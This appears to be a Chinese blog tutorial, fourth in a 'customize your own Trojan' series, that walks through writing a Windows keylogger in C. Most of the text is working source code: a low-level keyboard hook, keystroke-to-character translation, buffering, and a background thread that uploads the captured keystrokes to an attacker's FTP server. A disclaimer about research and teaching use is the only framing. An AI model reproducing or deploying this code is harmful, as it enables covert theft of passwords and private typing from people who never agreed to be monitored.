介绍
免责声明:
本系列文章提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,如果将其信息做其他用途,由读者承担全部法律及连带责任,本实验室不承担任何法律及连带责任。
本篇文章是定制自己的木马系列的第四篇文章,我们将会创建个键盘记录器。
需要用到的东西:
-
Visual Studio
-
Kali Linux
-
Windows靶机
基础知识
在我们编写键盘记录时,首先要想到的是“怎么监听击键?”。在Windows中应用程序都通过 消息 协调工作,而 消息 又通过消息队列传递,每个应用程序可以以此检测和处理信息。应用程序中有回调函数,可以在检索消息时调用。
然后我们需要对其 Hook ,也就是挂钩,官方文档标注了挂钩是一种机制,应用程序可以截获消息、鼠标操作和击键等事件。截获特定类型的事件的函数称为 挂钩过程。挂钩过程可以对其接收的每个事件执行操作,然后修改或放弃该事件。
下面的一些示例用于挂钩:
-
监视消息以进行调试
-
提供对宏录制和播放的支持
-
为帮助密钥 (F1) 提供支持
-
模拟鼠标和键盘输入
-
实现基于计算机的训练 (CBT) 应用程序
回调与挂钩
了解了基础知识后,我们首先需要创建回调函数,编写代码:
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, NULL, 0);
}
我们使用 LowLevelKeyboardProc 回调函数与 SetWindowsHookExA 函数一起使用。每当新的击键事件要发布到线程输入队列中时,系统都会调用 LowLevelKeyboardProc 回调函数;使用SetWindowsHookExA 函数安装一个挂钩程序来监视系统中的事件,最后一个值为“0”则表示挂钩过程与在与调用线程相同的桌面中运行的所有现有线程相关联。
然后回到 CallNextHookEx 函数,该函数主要将钩子信息传递给当前钩子链中的下一个钩子过程。
添加回调函数部分
在回调函数部分编写代码:
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT *kbd = (KBDLLHOOKSTRUCT *)lParam;
if (wParam == WM_KEYDOWN) {
DWORD dwLogBufLen = strlen(lpLogBuf);
CHAR key[2];
DWORD vkCode = kbd->vkCode;
这里我们引用了 KBDLLHOOKSTRUCT 结构,用来检索低级击键的输入事件信息。wParam为键盘消息的标识符,参数可以为WM_KEYDOWN(按下)、WM_KEYUP(释放)、WM_SYSKEYDOWN (ALT+按下)或 WM_SYSKEYUP(ALT+释放),可以点击查看所有键盘消息标识符。
然后我们使用该条代码获取 Log Buffer 的长度:
DWORD dwLogBufLen = strlen(lpLogBuf);
并将vkCode(虚拟键)复制到 Log Buffer:
CHAR key[2];
DWORD vkCode = kbd->vkCode;
判断击键
判断0~9
if (vkCode >= 0x30 && vkCode <= 0x39)
判断是否是 “Shift+特殊字符”击键
if (GetAsyncKeyState(VK_SHIFT)) {
switch (vkCode) {
case 0x30:
Log(")");
break;
case 0x31:
Log("!");
break;
case 0x32:
Log("@");
break;
case 0x33:
Log("#");
break;
case 0x34:
Log("$");
break;
case 0x35:
Log("%");
break;
case 0x36:
Log("^");
break;
case 0x37:
Log("&");
break;
case 0x38:
Log("*");
break;
case 0x39:
Log("(");
break;
}
这里使用 GetAsyncKeyState 函数来判断是否按下该键,VK_SHIFT表示“Shift”键,可以查看该函数获取所有键。
判断A~Z
if (vkCode >= 0x41 && vkCode <= 0x5A)
判断小写a~z
if (GetAsyncKeyState(VK_SHIFT) ^ ((GetKeyState(VK_CAPITAL) & 0x0001)) == FALSE)
vkCode += 32;
使用 GetKeyState 函数检索指定虚拟键的状态,是向上、向下还是切换。
判断其他键值
switch (vkCode) {
case VK_CANCEL:
Log("[CANCEL]");
break;
case VK_BACK:
Log("[BACKSPACE]");
break;
case VK_TAB:
Log("[TAB]");
break;
case VK_CLEAR:
Log("[CLEAR]");
break;
case VK_RETURN:
Log("[ENTER]");
break;
case VK_CONTROL:
Log("[CTRL]");
break;
case VK_MENU:
Log("[ALT]");
break;
case VK_PAUSE:
Log("[PAUSE]");
break;
case VK_CAPITAL:
Log("[CAPS LOCK]");
break;
case VK_ESCAPE:
Log("[ESC]");
break;
case VK_SPACE:
Log("[SPACE]");
break;
case VK_PRIOR:
Log("[PAGE UP]");
break;
case VK_NEXT:
Log("[PAGE DOWN]");
break;
case VK_END:
Log("[END]");
break;
case VK_HOME:
Log("[HOME]");
break;
case VK_LEFT:
Log("[LEFT ARROW]");
break;
case VK_UP:
Log("[UP ARROW]");
break;
case VK_RIGHT:
Log("[RIGHT ARROW]");
break;
case VK_DOWN:
Log("[DOWN ARROW]");
break;
case VK_INSERT:
Log("[INS]");
break;
case VK_DELETE:
Log("[DEL]");
break;
case VK_NUMPAD0:
Log("[NUMPAD 0]");
break;
case VK_NUMPAD1:
Log("[NUMPAD 1]");
break;
case VK_NUMPAD2:
Log("[NUMPAD 2]");
break;
case VK_NUMPAD3:
Log("[NUMPAD 3");
break;
case VK_NUMPAD4:
Log("[NUMPAD 4]");
break;
case VK_NUMPAD5:
Log("[NUMPAD 5]");
break;
case VK_NUMPAD6:
Log("[NUMPAD 6]");
break;
case VK_NUMPAD7:
Log("[NUMPAD 7]");
break;
case VK_NUMPAD8:
Log("[NUMPAD 8]");
break;
case VK_NUMPAD9:
Log("[NUMPAD 9]");
break;
case VK_MULTIPLY:
Log("[*]");
break;
case VK_ADD:
Log("[+]");
break;
case VK_SUBTRACT:
Log("[-]");
break;
case VK_DECIMAL:
Log("[.]");
break;
case VK_DIVIDE:
Log("[/]");
break;
case VK_F1:
Log("[F1]");
break;
case VK_F2:
Log("[F2]");
break;
case VK_F3:
Log("[F3]");
break;
case VK_F4:
Log("[F4]");
break;
case VK_F5:
Log("[F5]");
break;
case VK_F6:
Log("[F6]");
break;
case VK_F7:
Log("[F7]");
break;
case VK_F8:
Log("[F8]");
break;
case VK_F9:
Log("[F9]");
break;
case VK_F10:
Log("[F10]");
break;
case VK_F11:
Log("[F11]");
break;
case VK_F12:
Log("[F12]");
break;
case VK_NUMLOCK:
Log("[NUM LOCK]");
break;
case VK_SCROLL:
Log("[SCROLL LOCK]");
break;
case VK_OEM_PLUS:
GetAsyncKeyState(VK_SHIFT) ? Log("+") : Log("=");
break;
case VK_OEM_COMMA:
GetAsyncKeyState(VK_SHIFT) ? Log("<") : Log(",");
break;
case VK_OEM_MINUS:
GetAsyncKeyState(VK_SHIFT) ? Log("_") : Log("-");
break;
case VK_OEM_PERIOD:
GetAsyncKeyState(VK_SHIFT) ? Log(">") : Log(".");
break;
case VK_OEM_1:
GetAsyncKeyState(VK_SHIFT) ? Log(":") : Log(";");
break;
case VK_OEM_2:
GetAsyncKeyState(VK_SHIFT) ? Log("?") : Log("/");
break;
case VK_OEM_3:
GetAsyncKeyState(VK_SHIFT) ? Log("~") : Log("`");
break;
case VK_OEM_4:
GetAsyncKeyState(VK_SHIFT) ? Log("{") : Log("[");
break;
case VK_OEM_5:
GetAsyncKeyState(VK_SHIFT) ? Log("|") : Log("\");
break;
case VK_OEM_6:
GetAsyncKeyState(VK_SHIFT) ? Log("}") : Log("]");
break;
case VK_OEM_7:
GetAsyncKeyState(VK_SHIFT) ? Log(""") : Log("'");
break;
缓冲区
在判断完所有击键后,必须将击键缓冲区中的击键日志移动到临时缓冲区中以进行上传。我们需要先检查击键缓冲区,然后才能继续进行新的击键输入,为了确保缓冲区可用,必须先进入无限等待状态,直到临时缓冲区可用:
if (dwLogBufLen == MAX_LOG_SIZE - 1)
WaitForSingleObject(hTempBufNoData, INFINITE);
else
if (WaitForSingleObject(hTempBufNoData, 0) == WAIT_TIMEOUT)
return CallNextHookEx(0, nCode, wParam, lParam);
当等待状态被解除时,机会将击键缓冲区中的数据移动到临时缓冲区中并发出上传信号,然后将内存清零以腾出空间来进行记录新的击键事件。否则,它将进入等待状态,如果临时缓冲区尚不可用,该状态将立即超时并继续等待:
strcpy(lpTempBuf, lpLogBuf);
ResetEvent(hTempBufNoData);
SetEvent(hTempBufHasData);
ZeroMemory(lpLogBuf, dwLogBufSize);
我们使用 ResetEvent 函数将指定的事件对象设置非信号状态,也可以理解为重置该事件对象的信号状态。
然后使用 SetEvent 函数将指定的事件对象设置为信号状态。
再通过 ZeroMemory 宏将日志缓冲区重置。
互斥锁
接下来到 WinMain 函数的部分,该函数主要用于提供基于Windows图形应用程序的入口点。
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
我们需要无限循环的捕获击键,那么就得需要互斥锁来防止同时运行重复的实例。
ghMutex = CreateMutex(NULL, TRUE, NAME);
if (ghMutex == NULL) {
Fatal("create mutex");
}
if (GetLastError() == ERROR_ALREADY_EXISTS) {
Fatal("mutex already exists");
ExitProcess(1);
}
atexit(CleanUp);
使用 CreateMutex 函数来检索当前系统是否已经存在指定进程的实例,如果没有则创建一个互斥体。
创建缓冲区
接下来需要创建两个缓冲区,一个用来保存击键记录,一个用来上传击键记录。
ghLogHeap = HeapCreate(0, BUF_SIZ + 1, 0);
if (ghLogHeap == NULL) {
Fatal("heap create");
}
lpLogBuf = (LPSTR)HeapAlloc(ghLogHeap, HEAP_ZERO_MEMORY, BUF_SIZ + 1);
if (lpLogBuf == NULL) {
Fatal("heap alloc");
}
dwLogBufSize = BUF_SIZ + 1;
ghTempHeap = HeapCreate(0, dwLogBufSize, 0);
if (ghTempHeap == NULL) {
Fatal("temp heap create");
}
lpTempBuf = (LPSTR)HeapAlloc(ghTempHeap, HEAP_ZERO_MEMORY, dwLogBufSize);
if (lpTempBuf == NULL) {
Fatal("temp heap alloc");
}
使用 HeapCreate 函数创建一个可供调用进程使用的私有堆对象,并使用 HeapAlloc 函数分配内存。然后再使用 HeapCreate 函数创建一个临时堆(临时使用的,不是指该字段就是创建临时堆),并使用 HeapAlloc 函数分配个临时使用的内存(临时使用的,不是指该字段就是临时内存)。
上传击键&处理击键
然后我们使用多线程为两个缓冲区初始化两个事件:
hTempBufHasData = CreateEvent(NULL, TRUE, FALSE, NULL);
hTempBufNoData = CreateEvent(NULL, TRUE, TRUE, NULL);
使用 CreateEvent 函数创建两个句柄不能被子进程继承、手动重置的无信号的事件,且该事件对象没有名称。
然后创建并启动一个将日志文件发送到FTP服务器的线程:
if (CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FTPSend, NULL, 0, NULL) == NULL) {
Fatal("create thread");
}
接下来需要给击键设置挂钩:
ghHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
if (ghHook == NULL) {
Fatal("hook failed");
}
设置钩子在“回调与挂钩”的部分讲解过,故不再讲解。
然后我们需要进入无限循环来捕获击键记录:
MSG msg;
while (GetMessage(&msg, 0, 0, 0) != 0) {
TranslateMessage(&msg);
}
UnhookWindowsHookEx(ghHook);
return 0;
使用 GetMessage 从调用线程的消息队列中检索消息
,一个是使用 TranslateMessage 函数将虚拟键消息转换为字符的消息,另一个是使用 DispatchMessage 函数向窗口发送的消息。
最后使用 UnhookWindowsHookEx 函数将删除通过 SetWindowsHookEx 函数安装在挂钩链中的挂钩。
FTP
到了最激动人心的时刻,就是将捕获到的击键日志上传到FTP。
我们需要先等待上传缓冲区有数据再发送信号:
VOID FTPSend(VOID) {
while (TRUE) {
Sleep(TIMEOUT);
SetEvent(hTempBufNoData);
WaitForSingleObject(hTempBufHasData, INFINITE);
然后初始化FTP连接:
HINTERNET hINet = InternetOpen(NAME, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_PASSIVE);
if (hINet == NULL)
continue;
HINTERNET hFTP = InternetConnect(hINet, FTP_SERVER, INTERNET_DEFAULT_FTP_PORT, FTP_USERNAME, FTP_PASSWORD, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, NULL);
if (hFTP == NULL) {
InternetCloseHandle(hINet);
continue;
发送FTP附加命令,将数据附加到上传缓冲区:
HINTERNET hFTPFile;
CHAR szTemp[256];
sprintf(szTemp, "APPE %s", FTP_LOG_PATH);
BOOL bSuccess = FtpCommand(hFTP, TRUE, FTP_TRANSFER_TYPE_ASCII, szTemp, 0, &hFTPFile);
if (bSuccess == FALSE) {
InternetCloseHandle(hFTP);
InternetCloseHandle(hINet);
continue;
将数据写入到远程文件:
DWORD dwWritten = 0;
bSuccess = InternetWriteFile(hFTPFile, lpTempBuf, strlen(lpTempBuf), &dwWritten);
if (bSuccess == FALSE) {
InternetCloseHandle(hFTP);
InternetCloseHandle(hINet);
continue;
关闭连接并无限循环:
InternetCloseHandle(hFTPFile);
InternetCloseHandle(hFTP);
InternetCloseHandle(hINet);
ResetEvent(hTempBufHasData);
如果加上“ SetEvent(hTempBufNoData);”,则会一直保持连接。
处理错误消息
然后简单显示错误消息和退出后的数据清理:
VOID Fatal(LPCSTR s) {
CHAR err_buf[BUF_SIZ];
sprintf(err_buf, "%s failed: %lu", s, GetLastError());
MessageBox(NULL, err_buf, NAME, MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
ExitProcess(1);
}
VOID CleanUp(VOID) {
if (lpLogBuf && ghLogHeap) {
HeapFree(ghLogHeap, 0, lpLogBuf);
HeapDestroy(ghLogHeap);
}
if (ghHook) UnhookWindowsHookEx(ghHook);
if (ghMutex) CloseHandle(ghMutex);
if (lpTempBuf && ghTempHeap) {
HeapFree(ghTempHeap, 0, lpTempBuf);
HeapDestroy(ghTempHeap);
}
}
小结
键盘记录器的完整代码过多,可以通过实验室的 Github 查看,部分代码参考 C中的Windows键盘记录器。
本系列文章由Ghost Wolf Lab 编写,严禁未经过授权的转载、复制粘贴等行为供商业牟利。
原文始发于微信公众号(Ghost Wolf):Customize your own Trojan file-4
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论